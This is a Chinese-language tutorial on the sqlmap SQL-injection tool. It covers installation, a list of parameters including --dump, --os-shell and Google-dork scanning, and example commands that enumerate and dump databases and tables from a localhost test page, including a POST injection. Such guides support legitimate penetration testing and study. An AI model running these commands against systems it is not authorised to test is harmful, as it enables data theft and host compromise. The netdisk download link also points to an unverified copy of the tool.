Sql注入 之sqlmap使用教程

一、安装sqlmap

浏览器访问SQLmap官网 即可下载工具；需要说明的是，SQLmap运行依赖于python环境，所以在下载使用前务必在电脑及终端上安装好python环境。

通过网盘分享的文件：sqlmap-master.zip
链接: https://pan.baidu.com/s/1YZiETm_zloxXcR1kf-0utw 提取码: j9wf

二、常用参数说明

详细参数：https://github.com/sqlmapproject/sqlmap/wiki/Usage

-u 指定目标URL (可以是http协议也可以是https协议)(--url="地址")

-d 连接数据库

--dbs 列出所有的数据库

--current-db 列出当前数据库

--tables 列出当前的表

--columns 列出当前的列

-D 选择使用哪个数据库

-T 选择使用哪个表

-C 选择使用哪个列

--dump 获取字段中的数据

--batch 自动选择yes

--smart 启发式快速判断，节约浪费时间

--forms 尝试使用post注入

-r 加载文件中的HTTP请求(本地保存的请求包txt文件)

-l 加载文件中的HTTP请求(本地保存的请求包日志文件)

-g 自动获取Google搜索的前一百个结果，对有GET参数的URL测试

-o 开启所有默认性能优化

--tamper 调用脚本进行注入

-v 指定sqlmap的回显等级

--delay 设置多久访问一次

--os-shell 获取主机shell，一般不太好用，因为没权限

-m 批量操作

-c 指定配置文件，会按照该配置文件执行动作

--data data指定的数据会当做post数据提交

-timeout 设定超时时间

-level 设置注入探测等级(1-5)

--risk 风险等级(1-3)

--identify-waf 检测防火墙类型

--param-del="分割符" 设置参数的分割符

--skip-urlencode 不进行url编码

--keep-alive 设置持久连接，加快探测速度

--null-connection 检索没有body响应的内容，多用于盲注

--thread 最大为10 设置多线程

--flush-session 刷新session文件缓存结果

--hostname 检索数据库管理系统的主机名

--users 当会话用户具有对包含DBMS用户信息的系统表的读取权限时，可以枚举用户列表

三、简单示例

1、获取数据库

python sqlmap.py --url="http://localhost/test/test.php?id=12" --dbs  --flush-session

2、获取所有的表

python sqlmap.py --url="http://localhost/test/test.php?id=12" -D test --tables  --flush-session

3、获取表字段

python sqlmap.py --url="http://localhost/test/test.php?id=12" -T think_member --columns  --flush-session

4、获取表数据

python sqlmap.py --url="http://localhost/test/test.php?id=12" -T think_member --dump  --flush-session

 5、post提交注入

指定mysql数据库

python sqlmap.py --url="http://localhost/test/test2.php" --dbs --data="username=yy&password=123" --method="post" --flush-session  --dbms=mysql